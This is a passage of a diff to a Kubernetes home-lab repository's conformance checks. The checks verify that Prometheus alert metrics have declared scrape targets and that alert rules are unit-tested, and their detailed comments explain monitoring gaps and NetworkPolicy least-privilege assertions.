+        "forbid": [r"podmonitor:\s*\n\s*enabled:\s*true"],
+        "why": "certmanager_* powers CertificateExpiringSoon / ExpiryImminent / NotReady — the only "
+               "warning that an ACME DNS-01 renewal of the live wildcard has quietly failed",
+    },
+    {
+        "owner": "Longhorn: metrics.serviceMonitor.enabled in the HelmRelease",
+        "prefixes": ("longhorn_",),
+        "file": "platform/longhorn/helmrelease.yaml",
+        "require": [r"metrics:\s*\n\s*serviceMonitor:\s*\n\s*enabled:\s*true"],
+        "forbid": [],
+        "why": "longhorn_* powers the four storage rules on a cluster whose recurring failure mode "
+               "is a disk",
+        # The ServiceMonitor ALONE is not sufficient here — see the companion assertion below.
+        "companion": {
+            "file": "platform/longhorn/kustomization.yaml",
+            "require": [r"^\s*-\s*networkpolicy-metrics\.yaml\s*$"],
+            "why": "Longhorn 1.12.1 ships its own effectively-unconditional NetworkPolicies "
+                   "(guarded on networkPolicies.restrictInternalTraffic, default true — NOT on "
+                   "networkPolicies.enabled) whose longhorn-manager policy admits only other "
+                   "Longhorn components in the same namespace. MEASURED on prod: with the "
+                   "ServiceMonitor applied and no allowance, all three targets were DISCOVERED and "
+                   "every scrape failed with 'context deadline exceeded' after 10.0s — a drop, not "
+                   "a refusal — and the TSDB stayed empty. So without networkpolicy-metrics.yaml "
+                   "the four storage alerts are inert even though the monitor exists",
+        },
+    },
+    {
+        "owner": "KubeVirt/CDI: platform/kubevirt/servicemonitor.yaml",
+        "prefixes": ("kubevirt_",),
+        "file": "platform/kubevirt/servicemonitor.yaml",
+        "require": [r"kind:\s*ServiceMonitor", r"port:\s*metrics"],
+        "forbid": [],
+        "why": "kubevirt_* powers the four platform-health.kubevirt rules (note the CDI rules use "
+               "the kubevirt_cdi_* names, not bare cdi_*)",
+    },
+    {
+        "owner": "Velero: metrics.serviceMonitor.enabled in the HelmRelease",
+        "prefixes": ("velero_",),
+        "file": "platform/velero/helmrelease.yaml",
+        "require": [r"metrics:\s*\n\s*serviceMonitor:\s*\n\s*enabled:\s*true"],
+        "forbid": [],
+        "why": "velero_* powers VeleroBackupFailure / PartialFailure / NoRecentBackup — the rules "
+               "that failed to notice prod running with zero volume backups",
+    },
+]
+
+# `up` is produced by EVERY scrape target, so no owner can meaningfully claim it and assertion (1)
+# is structurally blind to `up{job="X"}` naming a job nothing produces. That axis is assertion (4).
+UNIVERSAL = {"up"}
+
+# =============================================================================================
+# REGISTER 1 — KNOWN_UNWIRED_METRICS. Shrink-only. A metric here is queried by an alert and
+# claimed by NOTHING, so that alert is inert and the platform is blind to what it describes.
+# Removing an entry means wiring the scrape. An entry that stops being referenced by any alert,
+# or that gains an owner, FAILS as stale.
+# =============================================================================================
+KNOWN_UNWIRED_METRICS: dict[str, str] = {
+    "hubble_drop_total":
+        "HubbleDeniedFlowSpike — the platform has NO policy-drop / NetworkPolicy-regression "
+        "visibility. Unlike Longhorn and cert-manager (whose charts already serve /metrics and "
+        "only lacked a ServiceMonitor) Hubble publishes NOTHING to scrape until it is switched on "
+        "in Cilium's own config: platform/cilium/helmrelease.yaml sets hubble.{enabled,relay,ui} "
+        "but not hubble.metrics.enabled, and not prometheus.enabled for the agent. Turning them on "
+        "OPENS PORT 9965 ON EVERY cilium-agent AND ROLLS THE CNI DaemonSet across all three nodes "
+        "— the single most dangerous rollout on this cluster (the 2026-09-01 k8sServiceHost outage; "
+        "cilium was moved to its own Flux Kustomization precisely to isolate that blast radius) — "
+        "and requires a matching edit to roles/cilium/templates/cilium-values.yaml.j2 in the same "
+        "commit or a rebuilt node's bootstrap CNI config silently disagrees with the reconciled "
+        "one. Deliberately DEFERRED to its own change with a one-node canary; see the rule's "
+        "header in platform/monitoring/alerts.yaml.",
+}
+
+# =============================================================================================
+# REGISTER 2 — KNOWN_UNWIRED_JOBS. Shrink-only, and NOW EMPTY.
+#
+# Each entry was a `up{job="X"}` selector whose monitor named an endpoint port the Service it
+# selects did not define, so the monitor discovered ZERO targets, no `up{job="X"}` series existed,
+# and `up{job="X"} == 0` could never fire. The nastiest variant of the class: `up` exists in
+# abundance, so nothing about the metric name looks wrong, and `PrometheusTargetsMissing` cannot see
+# it either — a target that was never discovered has no up series to be 0.
+#
+# IT HELD ALL TWELVE apps/* SLI RULES, AND IT IS EMPTY BECAUSE THEY WERE FIXED, not because the gap
+# was waived (2026-09-13, branch fix/app-sli-rules-discover-no-targets). The register's own note
+# said closing it needed "a Prometheus exporter per app". That was the wrong conclusion from a true
+# premise: Plex, Pi-hole, Jackett, qBittorrent, Sonarr, Radarr, Seerr, Semaphore and Nextcloud
+# genuinely export no Prometheus metrics, so instead the `up` SLI was rewritten against a signal that
+# DOES exist for every workload — kube-state-metrics readiness of the service's own workload object
+# (`kube_deployment_status_replicas_available` / `kube_statefulset_status_replicas_ready`), and
+# `kubevirt_vmi_info{phase="running"}` for the VM. No exporter, no new scrape target; each rule is
+# unit-tested firing AND quiet (apps/wave-*/tests/app-slis.test.yaml) and each expression was
+# evaluated live on prod, where eleven of the twelve return no series on a healthy cluster and the
+# twelfth (vm-demo) is not deployed at all.
+#
+# The rendered ServiceMonitors went with them: a monitor for a workload that serves no metrics is
+# dead configuration that reads as coverage. So assertion (4) below now has NOTHING to audit under
+# apps/ — which is why the monitor-side axis moved into its own check,
+# tests/l0-static/servicemonitor-ports-resolve. THAT is where a ServiceMonitor naming a port no
+# Service defines fails, with no alert rule required, resolving by selector across the whole tree
+# rather than by same-file adjacency, and with its resolver proven on fixtures so it cannot pass for
+# lack of subjects. Keeping this register non-empty as "documentation" of a closed gap is exactly the
+# fiction the ratchet forbids: the stale-entry assertion below would fail, and rightly.
+# =============================================================================================
+KNOWN_UNWIRED_JOBS: dict[str, str] = {}
+
+# =============================================================================================
+# (0) PARSE EVERY ALERT RULE
+# =============================================================================================
+# PromQL metric-name approximation. Documented as a gap in the header: string literals,
+# label-matcher bodies and aggregation/vector-matching label lists are stripped first, then every
+# remaining bare identifier that is not a PromQL keyword or function is treated as a metric
+# selector. Assertion (0b) fails loudly if this stops finding metrics at all, which is the way an
+# approximate parser silently stops guarding.
+PROMQL_KEYWORDS = set("""
+abs absent absent_over_time ceil changes clamp clamp_max clamp_min day_of_month day_of_week
+day_of_year days_in_month delta deriv exp floor histogram_quantile histogram_count histogram_sum
+histogram_fraction histogram_stddev histogram_stdvar holt_winters hour idelta increase irate
+label_join label_replace ln log2 log10 minute month predict_linear rate resets round scalar sgn
+sort sort_desc sort_by_label sort_by_label_desc sqrt time timestamp vector year avg count
+count_values group max min quantile stddev stdvar sum topk bottomk limitk limit_ratio
+last_over_time avg_over_time min_over_time max_over_time sum_over_time count_over_time
+quantile_over_time stddev_over_time stdvar_over_time present_over_time mad_over_time
+double_exponential_smoothing info ts_of_max_over_time ts_of_min_over_time ts_of_last_over_time
+by without on ignoring group_left group_right offset bool and or unless if atan2 start end
+inf nan NaN Inf
+""".split())
+
+IDENT_RE = re.compile(r"(?<![\w:.])([a-zA-Z_:][a-zA-Z0-9_:]*)")
+UP_JOB_RE = re.compile(r"""\bup\s*\{[^}]*\bjob\s*=\s*["']([^"']+)["']""")
+
+
+def metric_names(expr: str) -> list[str]:
+    e = re.sub(r'"(?:[^"\\]|\\.)*"', '""', expr)
+    e = re.sub(r"'(?:[^'\\]|\\.)*'", "''", e)
+    e = re.sub(r"`(?:[^`\\]|\\.)*`", "``", e)
+    e = re.sub(r"\{[^{}]*\}", " ", e)               # label matchers
+    for _ in range(6):                               # nested aggregations
+        e = re.sub(r"\b(?:by|without|on|ignoring|group_left|group_right)\s*\([^()]*\)", " ", e)
+    out, seen = [], set()
+    for m in IDENT_RE.finditer(e):
+        n = m.group(1)
+        if n in PROMQL_KEYWORDS or re.fullmatch(r"\d+[smhdwy]?", n) or n in seen:
+            continue
+        seen.add(n)
+        out.append(n)
+    return out
+
+
+def is_golden_fixture(p: Path) -> bool:
+    """conformance/tests/**/golden/** holds EXPECTED-OUTPUT fixtures, not deployed manifests.
+
+    conformance/tests/l1-rendering/egress-class-render/golden/*.expected.yaml each contain a
+    rendered `<app>-down` PrometheusRule. They are the assertion data of another test, never
+    reconciled into a cluster, so auditing their scrape targets would be auditing a copy — the
+    same "reference, not declaration" distinction ci/touched-requirements.sh draws for ci/tests/
+    fixture paths. The templates they are rendered FROM are audited through apps/ and catalog/.
+    """
+    parts = p.parts
+    return "conformance" in parts and "golden" in parts
+
+
+# NESTED WORKTREES: skip dot-DIRECTORIES (.git, .claude) while still matching dot-FILES such
+# as .sops.yaml. .claude/worktrees/agent-*/ holds full repo copies for isolated agent runs, so
+# a bare rglob from ROOT audited up to 18 duplicates of every file — which both invents FAILs
+# and, worse, can satisfy an "something declares X" check from a copy rather than real source.
+# Same fix as egress-paths-selected-by-rules. .claude/ is gitignored (.gitignore:43).
+rule_files = sorted(
+    p for p in ROOT.rglob("*.yaml")
+    if not any(part.startswith(".") for part in p.relative_to(ROOT).parent.parts) and not is_golden_fixture(p) and "kind: PrometheusRule" in read(p)
+)
+check(len(rule_files) > 0,
+      "no file declaring `kind: PrometheusRule` found — the parser or the repo layout changed; "
+      "this check would silently audit nothing")
+
+# metric -> [ "<relpath>:<alert>", ... ] ; and the same shape for up{job="X"} selectors
+refs: dict[str, list[str]] = {}
+job_refs: dict[str, list[str]] = {}
+n_rules = 0
+for f in rule_files:
+    rel = str(f.relative_to(ROOT))
+    try:
+        docs = list(yaml.safe_load_all(read(f)))
+    except yaml.YAMLError as exc:
+        check(False, f"{rel} is not parseable YAML ({exc}); every alert in it is unaudited")
+        continue
+    for d in docs:
+        if not isinstance(d, dict) or d.get("kind") != "PrometheusRule":
+            continue
+        for grp in (d.get("spec") or {}).get("groups") or []:
+            for r in grp.get("rules") or []:
+                if "alert" not in r:
+                    continue                         # recording rules: not this check's subject
+                n_rules += 1
+                site = f"{rel}:{r['alert']}"
+                expr = str(r.get("expr", ""))
+                for n in metric_names(expr):
+                    refs.setdefault(n, []).append(site)
+                for j in UP_JOB_RE.findall(expr):
+                    job_refs.setdefault(j, []).append(site)
+
+check(n_rules > 0,
+      "no alerting rule parsed out of any PrometheusRule — the parse contract broke and this "
+      "check would pass vacuously while every alert's metric went unaudited")
+check(len(refs) >= 20,
+      f"only {len(refs)} distinct metric name(s) parsed out of {n_rules} alerting rule(s). The "
+      f"PromQL approximation has stopped matching — which is exactly how an approximate parser "
+      f"turns into a guard that passes while checking nothing. Fix metric_names() or replace it "
+      f"with a real parser")
+
+# =============================================================================================
+# (1)(2) RESOLVE EVERY METRIC TO AN OWNER, AND PROVE THE OWNER'S CLAIM AGAINST THE REPO
+# =============================================================================================
+def resolve(metric: str) -> dict | None:
+    """Longest-prefix / exact-name match against SCRAPE_OWNERS."""
+    best, best_len = None, -1
+    for o in SCRAPE_OWNERS:
+        if metric in o.get("exact", ()):            # exact names win outright
+            return o
+        for pfx in o.get("prefixes", ()):
+            if metric.startswith(pfx) and len(pfx) > best_len:
+                best, best_len = o, len(pfx)
+    return best
+
+
+# Every owner's FILE must exist, whether or not a metric currently lands on it: an owner pointing
+# at a deleted file is a claim nothing backs.
+for o in SCRAPE_OWNERS:
+    check((ROOT / o["file"]).is_file(),
+          f"SCRAPE_OWNERS names {o['file']} as the scrape owner for "
+          f"{o.get('prefixes') or o.get('exact')}, and that file does not exist in this repo — the "
+          f"claim is unbacked and the alerts that depend on it are inert")
+
+claimed: dict[str, dict] = {}
+unowned: list[str] = []
+for metric in sorted(refs):
+    if metric in UNIVERSAL:
+        continue
+    o = resolve(metric)
+    if o is None:
+        if metric in KNOWN_UNWIRED_METRICS:
+            continue                                 # declared gap; ratcheted below
+        unowned.append(metric)
+        check(False,
+              f"alert metric `{metric}` (queried by {', '.join(sorted(set(refs[metric])))}) is "
+              f"claimed by NO entry in SCRAPE_OWNERS. Nothing in this repo configures a scrape "
+              f"that produces it, so every rule above is STRUCTURALLY INERT: it evaluates to no "
+              f"vector, stays silent forever, and is indistinguishable from a healthy result. "
+              f"Either wire the scrape and add the owner entry, or — if it cannot be wired yet — "
+              f"declare it in KNOWN_UNWIRED_METRICS with the reason, so the gap is reported "
+              f"instead of silent")
+        continue
+    check(metric not in KNOWN_UNWIRED_METRICS,
+          f"`{metric}` is listed in KNOWN_UNWIRED_METRICS but is now claimed by "
+          f"{o['owner']} — the register is shrink-only: delete the entry so the next real gap is "
+          f"the one that shows up")
+    claimed[metric] = o
+
+# The owners that are actually load-bearing right now get their declarations verified.
+for o in SCRAPE_OWNERS:
+    if o not in claimed.values():
+        continue                                     # nothing queries it today; nothing to guard
+    body = read(ROOT / o["file"])
+    for rx in o.get("require", []):
+        check(re.search(rx, body, re.M) is not None,
+              f"{o['file']} no longer matches /{rx}/, which is what makes {o['owner']} scrape. "
+              f"Removing it re-inerts every alert on "
+              f"{o.get('prefixes') or o.get('exact')} — {o['why']}")
+    for rx in o.get("forbid", []):
+        check(re.search(rx, body, re.M) is None,
+              f"{o['file']} matches the FORBIDDEN pattern /{rx}/, which defeats {o['owner']} "
+              f"even though the enablement is still authored. {o['why']}")
+    comp = o.get("companion")
+    if comp:
+        cbody = read(ROOT / comp["file"])
+        check((ROOT / comp["file"]).is_file(),
+              f"{comp['file']} is missing — {comp['why']}")
+        for rx in comp.get("require", []):
+            check(re.search(rx, cbody, re.M) is not None,
+                  f"{comp['file']} no longer matches /{rx}/. The monitor alone is NOT enough here: "
+                  f"{comp['why']}")
+
+# The Longhorn NetworkPolicy must actually grant the path it exists to grant, and no more: the
+# whole point of splitting it out instead of flipping networkPolicies.restrictInternalTraffic off.
+NP = ROOT / "platform/longhorn/networkpolicy-metrics.yaml"
+if any(m.startswith("longhorn_") for m in refs):
+    np = read(NP)
+    check(np != "", f"{NP.relative_to(ROOT)} is missing; the Longhorn scrape is dropped and its "
+                    f"four alerts are inert")
+    check(re.search(r"kind:\s*NetworkPolicy", np) is not None,
+          "platform/longhorn/networkpolicy-metrics.yaml is not a NetworkPolicy")
+    check(re.search(r"app:\s*longhorn-manager", np) is not None,
+          "the Longhorn metrics NetworkPolicy does not select app=longhorn-manager, so it does not "
+          "open the pods that serve /metrics")
+    check(re.search(r"kubernetes\.io/metadata\.name:\s*monitoring", np) is not None,
+          "the Longhorn metrics NetworkPolicy does not admit namespace monitoring, so Prometheus "
+          "still cannot reach longhorn-manager and the storage alerts stay inert")
+    check(re.search(r"port:\s*9500", np) is not None,
+          "the Longhorn metrics NetworkPolicy does not name port 9500 (longhorn-manager's `manager` "
+          "port, which serves /metrics)")
+    # LEAST PRIVILEGE (R-SEC-02): ingress only, one port, and NOT the webhook/recovery ports.
+    check(re.search(r"policyTypes:\s*\n\s*-\s*Ingress\s*$", np, re.M) is not None
+          and "Egress" not in np,
+          "the Longhorn metrics NetworkPolicy is not Ingress-only — it must grant exactly the "
+          "scrape path and nothing else (R-SEC-02)")
+    # Comments are stripped first: the file's header deliberately NAMES 9502/9503 to record that
+    # they stay closed, and a substring search over prose would fail on the documentation of the
+    # very property it is asserting.
+    np_spec = "\n".join(re.sub(r"#.*$", "", ln) for ln in np.splitlines())
+    for closed in ("9502", "9503"):
+        check(closed not in np_spec,
+              f"the Longhorn metrics NetworkPolicy names port {closed} (admission webhook / "
+              f"recovery backend). Only 9500 serves metrics; opening the others to ns monitoring "
+              f"is reach this observability path does not need (R-SEC-02)")
+
+# stale KNOWN_UNWIRED_METRICS entries
+for m in sorted(KNOWN_UNWIRED_METRICS):
+    check(m in refs,
+          f"KNOWN_UNWIRED_METRICS declares `{m}`, which NO alert rule in this repo queries any "
+          f"more — a stale exemption hides the next real gap; delete the entry")
+
+# =============================================================================================
+# (4) up{job="X"} — the axis assertion (1) is structurally blind to.
+#
+# Scoped to files where THIS REPO authors both the Service and the ServiceMonitor (the apps/*
+# ServiceDefinition pattern), because only then is the port name inside the tree. A monitor whose
+# Service comes from a Helm chart cannot be audited statically and is out of scope (header gap).
+# =============================================================================================
+def yaml_docs(path: Path) -> list[dict]:
+    try:
+        return [d for d in yaml.safe_load_all(read(path)) if isinstance(d, dict)]
+    except yaml.YAMLError:
+        return []
+
+
+# job name -> (relpath, monitor endpoint ports, ports the co-authored Services define)
+same_file_monitors: dict[str, tuple[str, set[str], set[str]]] = {}
+for p in sorted(ROOT.rglob("*.yaml")):
+    if any(part.startswith(".") for part in p.relative_to(ROOT).parent.parts):
+        continue
+    txt = read(p)
+    if "kind: ServiceMonitor" not in txt or "kind: Service" not in txt:
+        continue
+    docs = yaml_docs(p)
+    monitors = [d for d in docs if d.get("kind") == "ServiceMonitor"]
+    services = [d for d in docs if d.get("kind") == "Service"]
+    if not monitors or not services:
+        continue
+    svc_ports: set[str] = set()
+    for s in services:
+        for port in (s.get("spec") or {}).get("ports") or []:
+            if isinstance(port, dict) and port.get("name"):
+                svc_ports.add(str(port["name"]))
+    for m in monitors:
+        ep_ports = {str(e["port"]) for e in (m.get("spec") or {}).get("endpoints") or []
+                    if isinstance(e, dict) and e.get("port")}
+        name = (m.get("metadata") or {}).get("name")
+        if name:
+            same_file_monitors[str(name)] = (str(p.relative_to(ROOT)), ep_ports, svc_ports)
+
+for job in sorted(job_refs):
+    sites = ", ".join(sorted(set(job_refs[job])))
+    mon = same_file_monitors.get(job)
+    if mon is None:
+        # No same-file Service+ServiceMonitor pair is named for this job. It may well be produced
+        # by a platform monitor against a chart Service (oauth2-proxy, kubevirt, velero, flux all
+        # are), which this check cannot see — so this is NOT a failure, only unauditable.
+        continue
+    rel, ep_ports, svc_ports = mon
+    missing = sorted(ep_ports - svc_ports)
+    if missing:
+        check(job in KNOWN_UNWIRED_JOBS,
+              f"`up{{job=\"{job}\"}}` ({sites}) can never produce a series: {rel}'s ServiceMonitor "
+              f"scrapes port(s) {missing}, and the Service(s) in that same file define only "
+              f"{sorted(svc_ports) or ['(no named ports)']}. The monitor therefore discovers ZERO "
+              f"targets, there is no `up{{job=\"{job}\"}}` to compare against 0, and the rule is "
+              f"structurally inert — note PrometheusTargetsMissing cannot see this either, because "
+              f"a target that was never discovered has no up series to be 0. Give the Service a "
+              f"named port the workload actually serves metrics on (and an exporter if it has "
+              f"none), or declare it in KNOWN_UNWIRED_JOBS")
+    else:
+        check(job not in KNOWN_UNWIRED_JOBS,
+              f"`{job}` is listed in KNOWN_UNWIRED_JOBS but {rel}'s ServiceMonitor port(s) "
+              f"{sorted(ep_ports)} now all exist on its Service — the register is shrink-only: "
+              f"delete the entry")
+
+# stale KNOWN_UNWIRED_JOBS entries
+for job in sorted(KNOWN_UNWIRED_JOBS):
+    check(job in job_refs,
+          f"KNOWN_UNWIRED_JOBS declares `{job}`, which no alert rule selects via up{{job=...}} any "
+          f"more — a stale exemption hides the next real gap; delete the entry")
+
+# =============================================================================================
+# (5) THE CHECK IS LOAD-BEARING. Asserted against the DECLARATIVE mechanism, in both halves —
+# neither alone is sufficient. The per-test hand-written ci/l0.sh stage is deliberately NOT used
+# (whole-repo-invariants-wired FAILS the gate if one reappears); the property is DECLARED here and
+# HONOURED by ci/l0.sh's --include-scope union.
+# =============================================================================================
+SCOPE_DECL_RE = r"^\s*conformance\.home\.k3s/scope:\s*[\"']?whole-repo"
+SELF = read(ROOT / "conformance" / "tests" / "l0-static" / "alert-metrics-have-scrape-targets"
+            / "chainsaw-test.yaml")
+check(re.search(SCOPE_DECL_RE, SELF, re.M) is not None,
+      "alert-metrics-have-scrape-targets/chainsaw-test.yaml does not declare "
+      "conformance.home.k3s/scope: whole-repo, so the merge gate selects this check only when a "
+      "change happens to touch R-OBS-04. ci/touched-requirements.sh maps apps/* to NOTHING and "
+      "platform/monitoring/* to R-OBS-01/R-OBS-02 — so adding an alert under apps/ or flipping a "
+      "chart's serviceMonitor.enabled back to false would be filtered out of exactly the change "
+      "that re-inerts the alerts")
+L0 = read(ROOT / "ci" / "l0.sh")
+GATE = read(ROOT / "ci" / "gate.sh")
+check("--include-scope" in L0,
+      "ci/l0.sh no longer passes --include-scope to the conformance runner, so the L0 stage is a "
+      "purely requirement-scoped run again and the scope annotation above is inert decoration")
+check(re.search(r"^for s in .*\bl0\b.*; do", GATE, re.M) is not None
+      and re.search(r"fail\).*BLOCK=1", GATE) is not None,
+      "ci/gate.sh does not set the merge block when the l0 stage fails")
+
+# ======================================================================== report
+owners_used = {id(o): o for o in claimed.values()}
+print(f"Alert metric inventory: {n_rules} alerting rule(s) across {len(rule_files)} "
+      f"PrometheusRule file(s) -> {len(refs)} distinct metric name(s)")
+print(f"  claimed by a declared scrape owner: {len(claimed)}/{len(refs) - len(UNIVERSAL & set(refs))}"
+      f"   owners exercised: {len(owners_used)}/{len(SCRAPE_OWNERS)}")
+for o in SCRAPE_OWNERS:
+    ms = sorted(m for m, oo in claimed.items() if oo is o)
+    mark = "  " if ms else "· "
+    print(f"  {mark}{o['file']:<46} {len(ms):>2} metric(s)  {o['owner'][:64]}")
+print(f"\n  DECLARED GAPS (shrink-only registers):")
+print(f"    KNOWN_UNWIRED_METRICS: {len(KNOWN_UNWIRED_METRICS)} — "
+      f"{', '.join(sorted(KNOWN_UNWIRED_METRICS))}")
+print(f"    KNOWN_UNWIRED_JOBS:    {len(KNOWN_UNWIRED_JOBS)} inert up{{job=...}} SLI rule(s) — "
+      f"{', '.join(sorted(KNOWN_UNWIRED_JOBS))}")
+if unowned:
+    print(f"\n  UNCLAIMED (inert, undeclared): {', '.join(unowned)}", file=sys.stderr)
+
+print()
+if not FAILURES:
+    print(f"check OK: alert-metrics-have-scrape-targets — {CHECKS} assertions (R-OBS-04)")
+    raise SystemExit(0)
+print(f"CHECK FAIL (alert-metrics-have-scrape-targets): {len(FAILURES)} failed, "
+      f"{CHECKS - len(FAILURES)} passed", file=sys.stderr)
+for f in FAILURES:
+    print(f"  FAIL {f}", file=sys.stderr)
+raise SystemExit(1)
+PY

conformance/tests/l0-static/alert-rules-unit-tested/check.sh

@@ -147,25 +147,20 @@ def check(cond, msg):
 # =============================================================================
 # THE DECLARED REGISTER (assertion 7). Shrink-only; see the header for why this is a ratchet.
 #
-# UNTESTED_FILES — PrometheusRule files no test file covers AT ALL. The twelve apps/* entries
-# are single `<app>-down` liveness rules generated from one ServiceDefinition template;
-# platform/kubevirt/alerts.yaml (4 rules) is the substantial one and is where the next tests
-# belong. A file listed here that later gains coverage, or stops carrying a PrometheusRule,
-# FAILS as stale.
+# UNTESTED_FILES — PrometheusRule files no test file covers AT ALL. A file listed here that later
+# gains coverage, or stops carrying a PrometheusRule, FAILS as stale.
+#
+# THE TWELVE apps/* ENTRIES ARE GONE (2026-09-13). They were the single `<app>-down` liveness rules
+# generated from one ServiceDefinition template, and the register's description of them as one
+# template was exactly why leaving them untested was so expensive: ONE wrong expression was wrong
+# twelve times, and it was — `up{job="<app>"} == 0` against a job no scrape target produced, inert on
+# prod for all twelve. They are now covered by apps/wave-0/tests/app-slis.test.yaml,
+# apps/wave-1/tests/app-slis.test.yaml and apps/wave-2/tests/app-slis.test.yaml, each rule pinned
+# BOTH ways (quiet on the healthy state, firing on no-ready-replica, and firing when the signal
+# VANISHES — the failure mode that produced the class). platform/kubevirt/alerts.yaml (4 rules) is
+# now the only entry left and is where the next tests belong.
 # =============================================================================
 UNTESTED_FILES = {
-    "apps/wave-0/gitea.yaml",
-    "apps/wave-0/jackett.yaml",
-    "apps/wave-0/pihole.yaml",
-    "apps/wave-0/plex.yaml",
-    "apps/wave-0/qbittorrent.yaml",
-    "apps/wave-0/vm-demo.yaml",
-    "apps/wave-1/keycloak.yaml",
-    "apps/wave-1/nextcloud.yaml",
-    "apps/wave-1/radarr.yaml",
-    "apps/wave-1/semaphore.yaml",
-    "apps/wave-1/sonarr.yaml",
-    "apps/wave-2/seerr.yaml",
     "platform/kubevirt/alerts.yaml",
 }
 
@@ -173,8 +168,21 @@ UNTESTED_FILES = {
 # own rule nothing asserts on. This is the half that stops a new alert being slipped into an
 # already-"tested" file untested: anything not listed here must appear in a covering test.
 # The monitoring block is large because backups.test.yaml (the repo's first suite) deliberately
-# covers the Velero/backup rules only; pvc-capacity-alerts.yaml is flattened into the same
-# rules file by the suite convention but has no assertions of its own yet.
+# covers the Velero/backup rules only. It SHRANK by seven on 2026-09-13, when
+# platform/monitoring/tests/longhorn.test.yaml took on the whole platform-health.longhorn group
+# plus the three kubelet-based PVC-fill rules it has to be measured against (the per-volume
+# Longhorn "capacity" rule was deleted as a permanently-firing duplicate of them, so proving the
+# redundancy meant asserting on the rules that survive). Only
+# PersistentVolumeFillingUpPredicted is still unasserted in pvc-capacity-alerts.yaml.
+# It SHRANK BY TWO MORE on 2026-09-14: platform/monitoring/tests/node-io-cause.test.yaml pins the
+# eight new platform-health.node-io-cause rules, and its healthy fixture asserts NodeIOPressureHigh
+# and NodeIOPressureCritical quiet on the same measured state — the whole point of that fixture is
+# that the two PSI detectors and the eight cause rules must agree about what "healthy" is, so the
+# detectors are no longer unasserted.
+# It SHRANK BY ONE on 2026-09-19: platform/monitoring/tests/vpn-egress.test.yaml pins the two new
+# egress-steering rules, and asserts VPNTunnelDown QUIET in all four fixtures — that silence IS the
+# claim those rules exist for (tun0 up and passing traffic while vpn-class egress is dropped), so it
+# had to become an assertion rather than a sentence in a comment.
 UNTESTED_ALERTS = {
     ("platform/cnpg/alerts.yaml", "CNPGWALArchiveBacklog"),
     ("platform/cnpg/alerts.yaml", "CNPGNoRecoverabilityPoint"),
@@ -186,30 +194,20 @@ UNTESTED_ALERTS = {
     ("platform/monitoring/alerts.yaml", "NodeDiskFillingUp"),
     ("platform/monitoring/alerts.yaml", "NodeCPUPressureHigh"),
     ("platform/monitoring/alerts.yaml", "NodeCPULoadHigh"),
-    ("platform/monitoring/alerts.yaml", "NodeIOPressureHigh"),
-    ("platform/monitoring/alerts.yaml", "NodeIOPressureCritical"),
-    ("platform/monitoring/alerts.yaml", "LonghornVolumeDegraded"),
-    ("platform/monitoring/alerts.yaml", "LonghornVolumeFaulted"),
-    ("platform/monitoring/alerts.yaml", "LonghornVolumeCapacityHigh"),
-    ("platform/monitoring/alerts.yaml", "LonghornNodeStorageHigh"),
     ("platform/monitoring/alerts.yaml", "FluxReconciliationFailure"),
     ("platform/monitoring/alerts.yaml", "FluxResourceSuspended"),
     ("platform/monitoring/alerts.yaml", "CertificateExpiringSoon"),
     ("platform/monitoring/alerts.yaml", "CertificateExpiryImminent"),
     ("platform/monitoring/alerts.yaml", "CertificateNotReady"),
-    ("platform/monitoring/alerts.yaml", "VPNTunnelDown"),
     ("platform/monitoring/alerts.yaml", "HubbleDeniedFlowSpike"),
     ("platform/monitoring/alerts.yaml", "KeycloakDown"),
     ("platform/monitoring/alerts.yaml", "KeycloakDatabaseDown"),
     ("platform/monitoring/alerts.yaml", "KeycloakClientSecretReconcilerFailing"),
     ("platform/monitoring/alerts.yaml", "KeycloakClientSecretReconcilerStale"),
-    ("platform/monitoring/alerts.yaml", "MonitoringVolumeFillingUp"),
     ("platform/monitoring/alerts.yaml", "PrometheusTargetsMissing"),
     ("platform/monitoring/alerts.yaml", "ImageUpdateAutomationFailing"),
     ("platform/monitoring/alerts.yaml", "ImagePolicyStalled"),
     ("platform/monitoring/alerts.yaml", "UpdateHealthGateFailed"),
-    ("platform/monitoring/pvc-capacity-alerts.yaml", "PersistentVolumeFillingUp"),
-    ("platform/monitoring/pvc-capacity-alerts.yaml", "PersistentVolumeAlmostFull"),
     ("platform/monitoring/pvc-capacity-alerts.yaml", "PersistentVolumeFillingUpPredicted"),
 }
 
@@ -285,11 +283,16 @@ FETCH_RE = re.compile(
 #     versions.env. What is forbidden is a RULE-UNIT RUN acquiring its own engine: then the
 #     version, the network and the machine are decided silently at test time, and a missing
 #     toolchain becomes a green run instead of an exit 3.
+# NESTED WORKTREES: skip dot-DIRECTORIES (.git, .claude) while still matching dot-FILES such
+# as .sops.yaml. .claude/worktrees/agent-*/ holds full repo copies for isolated agent runs, so
+# a bare rglob from ROOT audited up to 18 duplicates of every file — which both invents FAILs
+# and, worse, can satisfy an "something declares X" check from a copy rather than real source.
+# Same fix as egress-paths-selected-by-rules. .claude/ is gitignored (.gitignore:43).
 SELF_DIR = "conformance/tests/l0-static/alert-rules-unit-tested/"
 INSTALLERS = (".gitea/workflows/scripts/install-tools.sh", "infra/devcontainer/")
 for p in sorted(ROOT.rglob("*.sh")):
     rel = str(p.relative_to(ROOT))
-    if rel.startswith((".git/", "conformance/runs/", SELF_DIR)):
+    if rel.startswith((".git/", ".claude/", "conformance/runs/", SELF_DIR)):
         continue
     try:
         text = p.read_text()
@@ -324,7 +327,7 @@ def tracked_yaml() -> list[Path]:
         return [ROOT / p for p in out.stdout.split("\0") if p]
     # No usable index (the gate container mounts a worktree whose .git points outside the
     # mount). Fall back to a filesystem walk rather than auditing nothing.
-    return sorted(p for p in ROOT.rglob("*.y*ml") if ".git/" not in str(p))
+    return sorted(p for p in ROOT.rglob("*.y*ml") if not any(part.startswith(".") for part in p.relative_to(ROOT).parent.parts))
 
 
 KIND_RE = re.compile(r"^\s*kind:\s*PrometheusRule\s*$", re.M)
@@ -478,7 +481,34 @@ for rel in sorted(alert_files):
           f"{rel} is listed in UNTESTED_FILES but is now covered by {tests} — the register is "
           f"shrink-only: delete the line so the next missing test is caught")
     text = "".join((ROOT / t).read_text() for t in tests if (ROOT / t).is_file())
-    covered = [n for n in names if re.search(rf"\b{re.escape(n)}\b", text)]
+    # "COVERED" MUST MEAN ASSERTED, NOT MENTIONED (tightened 2026-09-19).
+    # This used to be a bare word match over the whole test file, so an alert named anywhere —
+    # including in a PROSE COMMENT — counted as tested. Hit for real while adding
+    # platform/monitoring/tests/vpn-egress.test.yaml: its header comment explains that VPNTunnelDown
+    # stays quiet during an egress-steering failure, and that sentence alone was enough to make this
